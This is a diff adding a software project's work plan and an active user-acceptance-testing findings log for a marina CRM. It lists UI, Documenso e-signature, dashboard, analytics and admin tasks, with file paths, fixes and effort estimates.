+21. **[M] Dimensions columns: add ft↔m toggle in the column header (persisted to user prefs); skip per-row entry-unit indicator** — _src/components/berths/berth-columns.tsx_, _src/components/yachts/yacht-columns.tsx_, _src/components/clients/client-yachts-tab.tsx_, _src/components/companies/company-owned-yachts-tab.tsx_, plus _new_ `src/lib/utils/dimensions.ts` for the conversion + format helper, and _src/lib/db/schema/users.ts_ `user_profiles.preferences` for the persisted preference key. ~1 h.
+22. **[M] ft ↔ m unit switching on Berth Requirements** — _src/components/interests/interest-tabs.tsx_ — the three inline-editable dim rows hard-code `(ft)` in the label. The interest already carries `desiredLengthUnit`; honour it. ~30 min.
+23. **[L] Berth list: bulk-edit affordance (parity with bulk-add)** — _src/components/berths/_, _src/lib/services/berths.service.ts_, _new endpoint_ `POST /api/v1/berths/bulk`. Backend mirrors `/interests/bulk` shape; UI gets a `DataTable bulkActions` toolbar. ~5-7 h. **Pairs with:** Bucket 3 #2 Bulk-price editing UI — the inline-price-edit + bulk-price-sheet should land alongside this. Combined effort ~7-10 h.
+
+**Commit shape:** two PRs — `feat(berths): dimensions column toggle + hide rental columns` (B-20/21/22), `feat(berths): bulk-edit + bulk-price UI` (B-23 + Bucket 3 #2).
+
+---
+
+## Group D — BulkAddBerthsWizard polish (~1.5 h)
+
+24. **[M] BulkAddBerthsWizard + single-berth editor: toggleable input units (ft/m) for dimension fields** — _src/components/admin/bulk-add-berths-wizard.tsx_ + _src/components/berths/berth-form.tsx_. Tiny segmented toggle above the dimension inputs (ft / m). Convert on submit so the canonical column stays consistent. ~45 min.
+25. **[M] BulkAddBerthsWizard: allow defining new dock/pontoon letters in-flow (or surface the admin path)** — _src/components/admin/bulk-add-berths-wizard.tsx_. Currently fixed to A/B/C/D/E. Add "+ New letter" affordance or a clear "manage letters in /admin/vocabularies" link. ~30 min.
+
+**Commit shape:** one PR titled `feat(berth-admin): wizard polish (Group D)`.
+
+---
+
+## Group E — Supplemental-info-request (~1 h)
+
+26. **[M] Supplemental-info-request: distinct Regenerate vs Resend actions + issue history** — _src/components/interests/supplemental-info-request-button.tsx_. Today's UI has a single Generate + Send button; add: Regenerate (new token, invalidates old), Resend (re-email existing token), and a small history list of past issuances + their status. Builds on what `a4e30ea` already shipped (generate vs send split). ~1 h.
+
+**Note:** Supplemental-info-request _separate generate link and send email_ + _link reusable_ already SHIPPED (a4e30ea, b74fc56).
+
+---
+
+## Group F — DocumentsHub + signing flow polish (~3 h)
+
+27. **[M] DocumentsHub: hide breadcrumb on root "All documents" view, move PageHeader up** — _src/components/documents/hub-root-view.tsx_ + the surrounding shell. Conditional render. ~30 min.
+28. **[M] Past-milestones strip → expandable history with inline doc preview** — _src/components/interests/interest-tabs.tsx_ around line 863 (past-milestones strip). Convert to accordion; each past milestone expands to show its associated docs + sub-status timeline + inline PDF preview using the existing pdf-viewer primitive. ~3-4 h.
+29. **[M] Watchers configurable at document creation time** — _src/components/documents/eoi-generate-dialog.tsx_, _src/components/documents/upload-for-signing-dialog.tsx_, _src/components/interests/external-eoi-upload-dialog.tsx_, _src/components/documents/create-document-wizard.tsx:157_ + service-side defaults. ~1.5 h.
+
+---
+
+## Group G — Admin sections consolidation (~6 h)
+
+30. **[L] Merge `/admin/invitations` into `/admin/users`** — _src/app/(dashboard)/[portSlug]/admin/users/page.tsx_, _src/app/(dashboard)/[portSlug]/admin/invitations/page.tsx_ (to be removed), _src/components/admin/users/_, _src/components/admin/admin-sections-browser.tsx:90-95_. Add a state filter `All | Active | Invited (pending) | Disabled | Archived`. Default to Active. ~3-4 h.
+31. **[L] Consolidate every AI-feature admin control onto `/admin/ai`** — _src/app/(dashboard)/[portSlug]/admin/ai/page.tsx_ + per-feature embedded forms. Berth PDF parser AI fallback, AI/OCR pipeline, plus deferred sections (recommender embeddings, contact-log extraction, inquiry parsing). Berth PDF parser AI fallback is the only currently-LLM-using feature without a section — surface its provider override, confidence threshold, per-call budget cap. ~2 h for the present one + UI hooks for the deferred sections.
+
+---
+
+## Group H — Email + branding (~2 h)
+
+32. **[M] Email settings page: add explainer copy clarifying why sales send-from and noreply have separate credentials** — _src/app/(dashboard)/[portSlug]/admin/email/page.tsx_ — small description block. ~15 min.
+33. **[L] Supplemental-info-request email: branded HTML styling** — _src/lib/email/templates/_ — rebuild the template to match the table-based, max-width 600, logo + blurred overhead background look. ~1-2 h.
+
+---
+
+## Group I — Residential parity (~10 h, single coordinated PR)
+
+34. **[M] Residential client detail header: match the main ClientDetailHeader layout** — _src/components/residential/residential-client-detail-header.tsx_ + _src/components/clients/client-detail-header.tsx_. Restructure. ~1 h.
+35. **[L] Residential interests list: visual + functional parity with the main InterestList** — _src/components/residential/residential-interests-list.tsx_ vs _src/components/interests/interest-list.tsx_. Card / table / kanban view modes, full FilterBar, ColumnPicker, bulk actions, realtime invalidation, kebab actions. ~6-8 h.
+36. **[L] Residential inquiry → auto-forward to external partner email(s)** — _src/lib/services/residential.service.ts_ + admin settings UI + new template + BullMQ enqueue. ~2-3 h.
+37. **[L] Auto-link residential interests to existing main-client records (same person)** — schema migration + service join + UI surfaces on both sides + backfill script. ~3-4 h.
+
+---
+
+## Group J — Activity feed + EntityActivityFeed (~2 h)
+
+38. **[M] EntityActivityFeed: rewrite per-row rendering to surface _what_ changed** — _src/components/shared/entity-activity-feed.tsx_. Current rows are flat "user X did Y"; rewrite to show the field-level diff (`old → new`) using the existing audit-log diff shape. ~2 h.
+39. **[M] Client → Companies tab: add CTA to link or create a company membership** — _src/components/clients/client-companies-tab.tsx_. Empty-state CTA + dialog. ~1 h.
+
+---
+
+## Group K — OnboardingChecklist + nudges (~6-8 h, single big PR)
+
+40. **[L] OnboardingChecklist: auto-check resolver-chain fix + super_admin discoverability** — _src/components/admin/onboarding-checklist.tsx_ + _src/lib/services/port-config.ts_ + new dashboard tile + new topbar banner. Two linked issues:
+    - **(a)** Replace each `autoCheckSettingKey` with an `autoCheckResolver` function that runs the full resolver chain and returns `true` when the functional config is complete. Belt-and-braces: surface what's resolving from where ("Email: ✓ Using global SMTP" vs "Per-port override").
+    - **(b)** Topbar banner (slim chip "Setup X% complete · Continue →" dismissible per-session), dashboard rail tile "Continue setup", in-app weekly notification, 🎉 100% celebration. Gate all on `super_admin`.
+
+---
+
+## Group L — UploadForSigningDialog comprehensive rework (~12-16 h, dedicated PR)
+
+41. **[L] UploadForSigningDialog comprehensive rework — 4 linked issues** — Documenso PDF preview rebuild, metadata + draft persistence, dialog width responsive sizing, field-placement UX. Bundles with Documenso v2 follow-ups. Single coordinated PR.
+
+---
+
+## Group M — Universal preview + form-templates (~12-16 h)
+
+42. **[L] Universal in-system preview for every file type** — extend FilePreviewDialog beyond PDF + images. .docx / .xlsx / .pptx via google-doc-viewer iframe or libreoffice headless; .txt / .csv / .md inline; .eml / .msg via mailparser; .zip see-into. ~6-10 h.
+43. **[SHIPPED in 91be0f9] Form-template fields bind to Interest/Client data — autofill, override-preservation history, dual-surface audit trail** — `bindable-fields.ts` catalog + `formFieldSchema.bindTo` allow-list + admin sheet "Bind to" picker; `applySubmission` extended to write phone + yacht diffs (was silently updating) and address-insert overrides; `/api/v1/clients/[id]/field-history` mirror endpoint; `<FieldHistoryProvider>` + `<FieldHistoryIcon>` mount on Client + Interest Overview tabs and ContactsEditor. Note: addresses tab + yacht detail surface still need the icon wired (5-min follow-up).
+
+---
+
+## Group N — Dashboard upgrades (~10-14 h)
+
+44. **[L] Pipeline Value tile should respect dashboard timeframe** — Dashboard-wide timeframe context (Zustand store or React Query keyed by range); forecast/KPI service variants accept a `range`; "realized vs forecast" line. ~3-4 h.
+45. **[L] "Clients by country" dashboard widget** — compact ranked list with mini bars per row, deep-link `/clients?country=DE`. ~2-3 h.
+46. **[L] Drag-and-drop rearrangable dashboard widgets** — extend `useDashboardWidgets` to read a `dashboardWidgetOrder` preference; `@dnd-kit/core` + `@dnd-kit/sortable`; persist via PATCH `/api/v1/me/preferences`. ~4-6 h.
+
+---
+
+## Group O — Umami analytics phases 3 / 4 / 5 (~14-18 h)
+
+47. **[L] Umami Phase 4a — Marketing-site instrumentation** — _BLOCKS Phase 3 + Phase 5._ Wire `umami.track()` calls into the marketing site for every CRM event we want to surface (inquiry submitted, brochure download, contact-form, etc.). ~3-4 h on the marketing-site repo + alignment with this repo.
+48. **[L] Umami Phase 4c UI — Tracked-link composer button** — _src/components/email/email-composer.tsx_ or wherever the rep writes a templated email; add a button that opens a tracked-link composer + injects the resulting URL. ~2-3 h.
+49. **[L] Umami Phase 3 — Events tab** — _src/components/website-analytics/events-list.tsx (new)_. Blocked on 4a. ~3-4 h.
+50. **[L] Umami Phase 5 — Funnels + Journeys** — Funnel builder + journey-flow sankey. Blocked on 4a. ~6-8 h.
+51. **[M] Umami: Empty-state nudges on quiet ranges** — _src/components/website-analytics/_. Stable copy when the range has < N events ("Nothing happened here; try a wider range"). ~30 min.
+52. **[M] Umami: Apple Mail privacy disclaimer copy** — _src/components/email/email-open-rate-pill.tsx_ — small tooltip explaining that Apple Mail Privacy Protection inflates open rates. ~15 min.
+53. **[M] Umami: Open-rate column on the document_sends list** — _src/components/documents/document-sends-list.tsx_. New column reading the per-send open count. ~30 min.
+54. **[M] Umami: Click-to-filter the page from the world map** — _src/components/website-analytics/visitor-world-map.tsx_. Wire `onCountryClick(iso2)` into a new country filter store + thread through every `useUmami*` hook. ~2-3 h.
+55. **[M] Umami: Verify pixel + tracked-link end-to-end with a real send** — manual UAT. ~15 min once 4a is live.
+
+---
+
+## Group P — Nested document subfolders — phases 2/3 (~5-6 h)
+
+56. **[L] Nested document subfolders — phases 2 and 3** — foundation shipped in `e91055f`. Remaining:
+    - **(a)** UploadZone gains `scopeOptions` radio: "This deal (Interest <name>)" vs "Client-level (all deals)". Single-scope contexts (client/yacht/company) hide the radio.
+    - **(b)** Lifecycle hooks: interest outcome → folder rename (`Deal A1-A3 (Won)`); soft-rescue on outcome change.
+    - **(c)** `listFilesAggregatedByEntity` rewrite — surface BOTH "This deal" subheading + "From client" subheading on the InterestDocumentsTab "Attachments" list.
+    - **(d)** Documents Hub tree rendering for nested interest folders + outcome chip per interest folder.
+    - **(e)** Backfill script `pnpm tsx scripts/backfill-nested-document-folders.ts --apply` — idempotent, per-port advisory-locked.
+
+---
+
+## Group Q — Platform-wide refactors (~14-18 h, do as coordinated passes when time allows)
+
+57. **[L] Platform-wide chart library migration: recharts → ECharts** — port the 8 existing recharts components to ECharts. ~6-10 h.
+58. **[L] SelectTrigger height (`h-9`) doesn't match Input height (`h-11`)** — _src/components/ui/select.tsx_. Introduce `size` variant; default to `h-11`. Audit compact-context call sites for explicit `size="sm"` override. ~1 h.
+59. **[L] Platform-wide table density: column min-widths + nowrap defaults** — _src/components/shared/data-table.tsx_ + per-table column definitions. Add a `widthPx` / `nowrap` field to column defs; default text cells to `whitespace-nowrap`; surface horizontal scroll only when content actually exceeds. ~2-3 h.
+60. **[L] Platform-wide admin-settings tooltip audit** — _src/components/admin/_. Sweep every admin setting; add `FieldLabel` + tooltip wherever the setting isn't self-explanatory to a basic admin user. Use the FieldLabel primitive shipped in PR4.2 / `552b966`. ~3-4 h.
+61. **[L] Platform-wide error message audit for prod debuggability** — _cross-cutting_. The Documenso 502 / "Invalid token" diagnosis loop showed errors don't self-describe in prod. Two layers: (a) service-side: wrap upstream errors with the resolver chain that's actually in effect; (b) UI: render the wrapped error verbatim in the toast / dialog so operators can see "fell back to env, env value is stale" without reading logs. ~4-6 h.
+
+---
+
+## Group R — Documenso-first templates (~6-8 h)
+
+62. **[L] Documenso-first templates: pull templates from Documenso instead of uploading through CRM** — _src/components/admin/document-templates/template-form.tsx_ + new admin endpoint `GET /api/v1/admin/documenso/templates` + per-template field-mapping editor + "Sync now" button + template-list badges. Generalizes the existing per-port EOI sync. ~5-7 h. **Pairs nicely with:** Group L (UploadForSigningDialog rework) — they share the same Documenso-side surface area.
+
+---
+
+## Group S — AI assistance + extraction (~10-14 h, deferred until user asks)
+
+63. **[DEFERRED] AI-assisted action extraction from contact-log entries** — _src/components/interests/interest-contact-log-tab.tsx_ + new LLM service. "Extract action items" button next to Save; LLM-parses body + returns proposed follow-ups; rep approves each individually. ~6-10 h. Defer until a user is genuinely asking.
+
+---
+
+## Group T — Deferred bugs (~1 h each, do when surfacing)
+
+64. **[DEFERRED] Duplicate row for berth E17 in port-nimara + missing unique index** — DB cleanup + partial unique index `(port_id, mooring_number) WHERE archived_at IS NULL`. Deferred per session call.
+65. **[DEFERRED] Stage advance allowed without berth price** — `ValidationError` gate in `changeInterestStage` for stages ≥ eoi. Deferred per session call.
+
+---
+
+## Group U — EOI bundle UX rework (~10-14 h)
+
+66. **[SHIPPED in ef37901] EOI bundle UX rework (multi-berth interests)** — (a) defaults flip shipped in `05e727f`, (b) LinkedBerthsList rename shipped in PR10, (c) picker inside EoiGenerateDialog shipped in `ef37901`: new "EOI scope" section lists every linked berth with "In EOI" + "Public map" checkboxes pre-filled from current flag state; handleGenerate diffs vs server snapshot and PATCHes only changed rows in parallel before kicking off the envelope. Plan item closed.
+
+---
+
+## Execution discipline
+
+For each item we tackle:
+
+1. **Quote the master-doc bullet** so we're aligned on scope.
+2. **Verify it isn't already shipped** — re-read the master entry for sub-bullets with SHIPPED markers I may have missed.
+3. **Implement to production quality** — tests where the feature has logic worth testing; tsc clean; vitest 1454+/1454+; commit with a descriptive message.
+4. **Annotate the master doc** — add `**SHIPPED in <sha>:**` line under the original entry.
+5. **Tick off this plan** — once a group lands, mark the item as `[SHIPPED]` here.
+
+When in doubt about an item's scope, surface the question first rather than guessing — several items already locked design decisions in the source entry that we should reuse verbatim.

docs/superpowers/audits/active-uat.md

@@ -0,0 +1,667 @@
+# Active UAT — running findings
+
+> **THIS IS THE CURRENTLY ACTIVE AUDIT DOC.** All new UAT findings land here regardless of which session captures them. Persists across sessions until the user explicitly says "wrap this round up and start a fresh one" — at which point archive this file with a date stamp (`YYYY-MM-DD-uat.md`) and start a new `active-uat.md`.
+>
+> Started 2026-05-26 after the drain commit `e9509dc` cleared the prior `alpha-uat-master.md` long tail. This file is the home for findings surfaced as the user walks through the running app. Append every item as a discrete entry — even premature / aspirational ones — so nothing gets dropped.
+>
+> **Methodology:** user drives the live CRM at `http://localhost:3000`, surfaces issues in chat (with screenshot + React-grab anchor when applicable). Each finding lands here in the matching bucket with file:line evidence and a status tag.
+>
+> **Status legend:**
+>
+> - `OPEN` — captured, not started
+> - `IN PROGRESS` — currently being worked on this session
+> - `SHIPPED in <hash>` — committed; commit message has detail
+> - `QUEUED` — not for this session; deliberately deferred
+> - `BLOCKED` — waiting on user input / external repo / clarification
+>
+> **Severity** (for bugs only): `critical | high | medium | low`.
+
+> **Locked decisions — 2026-05-26 round.** User answered 11 blocking / clarifying questions. Inlined here for cross-finding reference; individual findings still carry their own context.
+>
+> - **Documenso comprehensive audit:** ship as 5 discrete sub-PRs — (1) persist `documensoId` immediately after create, (2) pre-flight validation, (3) state-machine refactor with `rollbackTo()` helper, (4) recipient ↔ Documenso identity reconciliation, (5) end-to-end test coverage + audit-log richness.
+> - **Pre-flight validation for upload-for-signing:** hard-blocks Submit when any recipient has a missing email or any placed field's `recipientIndex` doesn't resolve. No override path.
+> - **`/documents/new` wizard refactor:** (a) delete the upload branch, (b) drop the `inapp` template pathway, (c) per-port doc-type template defaults (`documenso_eoi_template_id` / `documenso_reservation_template_id` / `documenso_contract_template_id`) with admin-only override, (d) surface flow 3 (mark externally signed) from the dropdown menu, (e) drop `/documents/new` as a route — replace with `<GenerateDocumentDialog>` opened from the dropdown.
+> - **Automate Signing button:** mid-flow enable picks up from next-in-order signer; completion broadcast goes to ALL recipients (signers + approvers + CCs); single combined mode (no partial-automate); manual override buttons stay visible with "Auto-firing soon" tooltip during automation.
+> - **Webhook URL auto-PATCH on tunnel restart:** env-flag-gated via `DEV_AUTO_UPDATE_DOCUMENSO_WEBHOOK=1`. Prod can't be accidentally rotated by a stale dev script.
+> - **Admin Webhook Health page:** explicit "Test now" button for ports with no webhooks received. No auto-fire on first page load.
+> - **Per-port `documenso_signing_order` setting:** tri-state — SEQUENTIAL / PARALLEL / Use template default (null/empty state). Replaces the binary toggle.
+> - **OverviewTab inheritance editing:** writes to the interest's `desired_*` column (override pattern). Save toast surfaces a follow-up "Update yacht record too?" CTA so the rep can promote the change up if the yacht itself is wrong.
+> - **Public-map flag inheritance:** applies across every dialog with a map-flip affordance — EOI generate, External EOI upload, Reservation generate + upload, Contract generate + upload. Default: ON when ANY in-bundle berth has `is_specific_interest=true`, OFF otherwise.
+> - **Cancel/Delete affordance audit:** sweep EVERY remove route (per-row EOI tab kebab, EoiCancelDialog, docs hub kebab, document detail Cancel + Delete, contract/reservation tab equivalents, NewDocumentMenu if any). Each one must run the same `cancelDocument`/`deleteDocument` service flow with permission check + Documenso void when `documensoId` set + status transition + onSuccess query invalidation + toast on error.
+> - **Orphan-scan admin script:** deferred / out of scope. Dev DB nuke acceptable for UAT-session debris.
+
+---
+
+## Bucket 1 — Quick fixes (<15 min)
+
+### Dialog primitive default too narrow → bump platform-wide
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/ui/dialog.tsx_ (DialogContent base default).
+- **Fix applied:** default bumped from `sm:max-w-xl lg:max-w-3xl` to `sm:max-w-2xl lg:max-w-4xl`. Confirm dialogs override DOWN with `sm:max-w-md`; PDF preview / signing dialogs override UP with `lg:max-w-5xl` or `lg:max-w-[min(95vw,1400px)]`.
+- **Symptom:** Dialog primitive's default is `sm:max-w-lg` (512px), which is far too narrow for most content (forms, file previews, signing details). Even the earlier per-dialog `lg:max-w-4xl` bump only fixed the dialogs I explicitly migrated; everything still using the default — including FilePreviewDialog (which overrides to `max-w-4xl` but PDFs are unreadable at that width) — stays cramped on desktop.
+- **Fix:** bump the Dialog primitive base to `sm:max-w-2xl lg:max-w-4xl` so every Dialog gets a sane wide-screen default. Per-dialog overrides ride on top for cases that need wider (PDF preview) or narrower (confirm dialogs).
+
+### FilePreviewDialog cramped for PDFs
+
+- **`IN PROGRESS`** — _src/components/files/file-preview-dialog.tsx:109_.
+- **Symptom:** opening a PDF lands in a `max-w-4xl` (896px) container on a 1920px+ desktop; PDF renders in a thin column with massive empty bands on both sides. Screenshot 2026-05-26.
+- **Fix applied:** bumped DialogContent to `w-[min(95vw,1400px)] sm:max-w-none lg:max-w-none h-[85vh]` so PDFs get viewport-sized rendering capped at 1400px. Reference for "correct" width is the documents-tab preview which the user confirmed reads correctly.
+
+### CreateDocumentWizard — doc-type labels lowercased
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/documents/create-document-wizard.tsx_ + _src/lib/constants.ts_.
+- **Symptom:** doc-type dropdown renders `eoi`, `nda`, `reservation agreement`, `other` — lowercase, looks unfinished. Naive `.replace(/_/g, ' ')` doesn't capitalize.
+- **Fix applied:** added `DOCUMENT_TYPE_LABELS` Record alongside the enum (`EOI`, `Contract`, `NDA`, `Reservation Agreement`, `Other`). Wizard reads from the map.
+
+### CreateDocumentWizard — "Other" hint added
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/documents/create-document-wizard.tsx_.
+- **Decision:** kept schema unchanged. Added an inline hint under the type selector when `other` is selected: "Use the Title below to describe the document — that's how it'll appear everywhere it's referenced."
+
+### FlatFolderListing — needs padding above the list
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx_ FlatFolderListing.
+- **Symptom:** the flat list sat flush against the subfolders UI above it — no vertical breathing room.
+- **Fix applied:** wrapped FlatFolderListing's returned tree in `<div className="space-y-4">` so all three sub-sections (search/chip row, subfolders grid, documents list) get consistent vertical spacing.
+
+### FlatFolderListing — root folder doesn't show uploaded files
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx_ FlatFolderListing + _src/lib/services/files.ts_ (listFiles) + _src/lib/validators/files.ts_ (already had folderId; service was ignoring it).
+- **Root cause:** documents table (signature workflows) and files table (raw uploads) are separate; FlatFolderListing queried documents only.
+- **Fix applied:** went with option B (parallel files query + client-side merge). `listFiles` now honours the `folderId` filter that was already accepted by the validator. FlatFolderListing runs a sibling `useQuery` against `/api/v1/files?folderId=X` and merges both sources into a unified `HubRow` list sorted by `createdAt desc`. New `renderFileRow` renders files with an "Uploaded file" type pill + "Stored" status pill, links the filename to the download URL. Existing FolderDropZone invalidation (`['files']` prefix) already covers the new query, so drag-drop AND New-document-menu uploads both refresh the list without a page reload.
+
+### FlatFolderListing — chevron does nothing when no signers
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/documents/documents-hub.tsx:359+_.
+- **React-grab anchor:** `<svg class="lucide lucide-chevron-right h-4 w-4" />` in FlatFolderListing.
+- **Symptom:** every row renders a chevron button that's meant to expand signers detail. For docs with zero signers (manually uploaded, or signature docs that were cancelled/voided before recipients were added), clicking does nothing — the button toggles state but no signers panel exists to render.
+- **Fix applied:** chevron button only renders when `totalSigners > 0`. Layout column kept (transparent placeholder span) so grid alignment doesn't jump.
+
+### Interest drawer — inline client create
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/interests/interest-form.tsx_ + _src/components/clients/client-form.tsx_.
+- **Symptom:** rep starts a new interest, realises the client isn't on file, has to close the drawer + navigate to Clients + create + come back. Yacht create was already inline ("Add new" button next to YachtPicker); client create wasn't.
+- **Fix applied:** ClientForm gains an `onCreated(id)` callback; the create-branch mutation now returns `{ id }`. InterestForm renders an "Add new" Button next to the Client label (create-mode only — hidden on edit), opens the ClientForm Sheet, and auto-selects the newly-created client into the interest draft on success.
+
+### InterestForm reset path dropped source='manual'
+
+- **`SHIPPED locally (not yet committed)`** — _src/components/interests/interest-form.tsx_.
+- **Symptom:** `defaultValues` set `source: 'manual'`, but the `!interest && open` reset path didn't include it. Reopening the drawer for a new interest landed on an unselected source dropdown.
+- **Fix applied:** reset() block now includes `source: 'manual'` alongside the other create-mode defaults.
+
+### UploadForSigningDialog — recipients show only one name, no email differentiator + role
+
+- **`SHIPPED locally (not yet committed)`**
+- **Files touched:** _src/components/documents/upload-for-signing-dialog.tsx_ (RECIPIENT_ROLE_META + RecipientRoleBadge helpers + placement-step sidebar render + FieldSidePanel dropdown).
+- **React-grab anchor:** `<div class="space-y-1" />` in `FieldPlacementStep` in `DialogBody`.
+- **Symptom:** placement-step's recipients sidebar (and the FieldSidePanel's "Assign this field to" dropdown) displayed only the recipient's NAME — no email, no role. UAT screenshot showed 4 recipients all literally named "matt 1, matt 2, matt 3, matt 4" with no way to distinguish them; reps editing real docs with duplicate names (e.g. multiple family members on a yacht purchase) hit the same problem. Worse: the failure of the "missing recipientId" error (separate finding below) is silently caused by which-email-maps-to-which-recipient confusion that the rep can't see.
+- **Root cause:** the recipient rows in both surfaces were rendered as `r.name || r.email || #signingOrder` — falling back to email ONLY when name was blank. With non-blank names, email never showed. Role was tracked in state (`'SIGNER' | 'APPROVER' | 'CC'` on the Recipient interface) but never rendered.
+- **Fix applied:**
+  1. New `RECIPIENT_ROLE_META` constant maps each role to display label + tint (Signer blue, Approver amber, CC slate). New `RecipientRoleBadge` component renders the pill.
+  2. Sidebar list rewritten as a two-line layout: line 1 is name + role badge, line 2 is the email (or "no email set" placeholder so the row doesn't shift). Email is also surfaced via `title` for hover-truncation tolerance.
+  3. FieldSidePanel dropdown SelectItem rebuilt as a stacked layout — name + role badge on top, email muted below — so reps differentiating duplicate-named recipients can pick the right one without expanding the dropdown.
+- **Alternatives considered + rejected:**
+  - Showing only email and dropping name — rejected because the cleaner display people want is "Matthew Ciaccio · matt@gmail.com (Signer)", not pure email.
+  - Color-coded chip strip instead of a dropdown — rejected for the same density reason captured in the prior "Assign this field to" finding.
+- **Effort:** ~30 min (helpers + two render-site rewrites + tsc).
+- **Cross-refs:** pairs with the "Assign this field to" label fix (just above). Both ship the same UAT round.
+- **Acceptance criteria:** placement-step sidebar shows {color-dot, name, role badge, email} per recipient; FieldSidePanel dropdown options show {#order, name, role badge, email} per option; duplicate-named recipients are visually distinguishable by email.
+
+### Documenso upload — silent partial-state when field placement fails
+
+- **`SHIPPED locally (not yet committed) — comprehensive audit Phase 1 complete`**
+- **Files touched (this fix):** _src/lib/services/custom-document-upload.service.ts_ (~line 400, placeFields try/catch). _src/components/documents/upload-for-signing-dialog.tsx_ (recipient UI sibling fix shipped separately).
+- **Symptom:** rep uploads a PDF, places fields, hits Send. Error toast surfaces: `Documenso response missing recipientId for matt.ciaccio@gmail.com - cannot place fields`. Document appears in the CRM's signing UI AND in Documenso, recipients + roles are wired, but **all placed fields are missing**. The signing UI on the receiving end has no boxes to fill, which means a signer who receives the invite via email lands on a useless page.
+- **Root cause:** in `placeFieldsFromUpload`, the placements were built via `fields.map(f => { if (!recipientId) throw ConflictError(...) ...})` BEFORE the surrounding try/catch. The synchronous throw from `map()` bubbled past the catch-and-rollback block that wraps `placeFields()`, so when the recipient lookup missed:
+  1. Documenso envelope: already created + distributed (`sendDoc` succeeded earlier in the flow).
+  2. Recipients: created with correct roles, signing URLs issued.
+  3. Fields: never placed (the throw fired BEFORE the placeFields call).
+  4. CRM document row: stuck in `'sent'` status because the rollback only fired inside the try/catch that the throw skipped over.
+     Result: the partial state the user described.
+- **Fix applied (this session):**
+  1. The placements `map()` is now INSIDE the same try/catch that wraps `placeFields()`. Any throw — sync or async — triggers the rollback (Document row → cancelled, Documenso envelope → voided).
+  2. Pre-throw `logger.error(...)` captures diagnostic state: the missed email, every email the Documenso response DID return. Future "why didn't this match" investigations have something to grep instead of guesswork.
+  3. Comment block explaining the dedupe semantic (Documenso de-dupes by email at the envelope level, so duplicate emails across CRM recipient rows all map to the same Documenso recipientId — that's expected behaviour, not a bug).
+- **Phase 1 audit shipped (5 sub-PRs delivered in this round):**
+  1. **Persist `documensoId` immediately after `documensoCreate`** (P1.1). Was set only at the late success commit, leaving orphaned envelopes when any later step failed. Now the CRM row points at the envelope from the moment Documenso returns the id; rollback paths can find and void it. Catches future failures + future-proofs orphans.
+  2. **Pre-flight validation hard-blocks Submit** (P1.2). UploadForSigningDialog computes a `submissionErrors` memo over recipients + fields. Submit button disabled when errors > 0. Inline amber summary lists every issue (missing email, invalid email, missing name, field assigned to non-existent recipient, no fields placed). Service layer also enforces the same checks (email regex + name presence) so direct API hits reject just as hard. No "I know there's a missing email" override.
+  3. **State-machine refactor with `rollbackTo()` helper** (P1.5). Replaces three independent try/catches with one sequenced try around `create → send → place` and a single catch that calls `rollbackTo(reason)`. Tracks `state.step` + `state.documensoDocId` so future inserts (metadata writes between steps, etc.) inherit the rollback automatically. Idempotent — status flip is a no-op on a second call, voidDocument treats 404 as success.
+  4. **Recipient ↔ Documenso identity reconciliation** (P1.6). After `documensoSend`, validates every distinct email we sent appears in `sentDoc.recipients`. If Documenso silently dropped one, a `ConflictError` fires before field placement so the rollback path triggers. Explicit error message names the missing email(s) for diagnosis.
+  5. **End-to-end test coverage + per-failure audit-log entries** (P1.7). vitest suite extended with: blank email, whitespace-only email, malformed email, blank name, duplicate-emails-OK (Documenso dedupe semantic). `rollbackTo` writes a structured audit_log entry (`status=cancelled`, `failedStep`, `documensoEnvelopeId`, `errorClass`, `errorMessage`) so post-mortem investigation has structured data instead of pre-existing logger lines alone.
+- **Still open (acknowledged but lower priority):**
+  - **Idempotency on retry** — if the rep hits Send twice, do we double-create envelopes? Today the dialog disables the button while `sendMutation.isPending` so it's mitigated at the UI; service-layer guard via checking `documents.documensoId` before another `documensoCreate` would be belt-and-braces. Queued for follow-up.
+- **Cross-refs:**
+  - The `/documents/new` wizard refactor (Bucket 3 — wizard refactor finding) touches the same end-to-end flow — bundle the two so the same audit doesn't re-investigate the upload-for-signing service twice.
+  - This is the SECOND time a multi-step Documenso flow has had a rollback gap — the first was the EOI auto-cancel/replace flow (fixed earlier in `65ff596`). Pattern: every multi-step orchestration that touches Documenso needs end-to-end rollback OR pre-flight validation. The audit doc's broader "activity feed comprehensive copy" finding mentioned a similar discipline gap; both should land before more multi-step features ship.
+- **Open questions for the user:**
+  1. **Are you okay with the comprehensive audit being one larger PR (~1-2 days focused), or should it ship as discrete sub-PRs (pre-flight + state-machine + tests)?** Trade-off: single PR is faster but harder to review; sub-PRs are reviewable but you'd see intermediate states.
+  2. **Should the pre-flight validation block the dialog Submit button entirely, or surface an inline error and let the rep submit anyway (with "I know there's a missing email" override)?** Default proposal: hard block — Documenso's API can't recover from missing emails, so submitting anyway is guaranteed-to-fail.
+
+### BerthRecommenderPanel — hide entirely when no desired dimensions set
+
+- **`SHIPPED locally (not yet committed)`**
+- **Files touched:** _src/components/interests/interest-tabs.tsx_ (~line 1467 Overview inline render + ~line 1577 dedicated tab entry + ~line 1521 hasDesiredDims gate variable + ~line 711 OverviewTab inner gate).
+- **React-grab anchor:** `<div class="flex flex-col s..." />` in `Card` in `BerthRecommenderPanel`.
+- **Symptom:** the recommender card rendered even when the rep hadn't entered any desired dimensions on the interest — surfacing only the "Set desired dimensions to see recommendations." guidance subtitle. User flagged that the card AND the dedicated "Berth Recommendations" tab should both be hidden in that state so reps aren't distracted by an empty placeholder.
+- **Root cause:** previous design intentionally kept the panel always-mounted with inline guidance ("plan §5.3 — always-mounted card driven by the interest's desired dimensions"). User-experience preference now flips that to hide-entirely.
+- **Fix applied:**
+  1. Computed `hasDesiredDims = toNum(interest.desiredLengthFt) !== null` once near the top of the InterestTabs component, and once inside OverviewTab (because the Overview's inline render lives inside the child).
+  2. Overview tab's BerthRecommenderPanel mount wrapped in `{hasDesiredDims ? <Panel /> : null}` — disappears entirely until length is captured.
+  3. Dedicated "Berth Recommendations" tab object spread conditionally into the tabs array (`...(hasDesiredDims ? [tabObject] : [])`) so the tab strip's tab itself vanishes — not just the content. Rep doesn't get a dead-end tab.
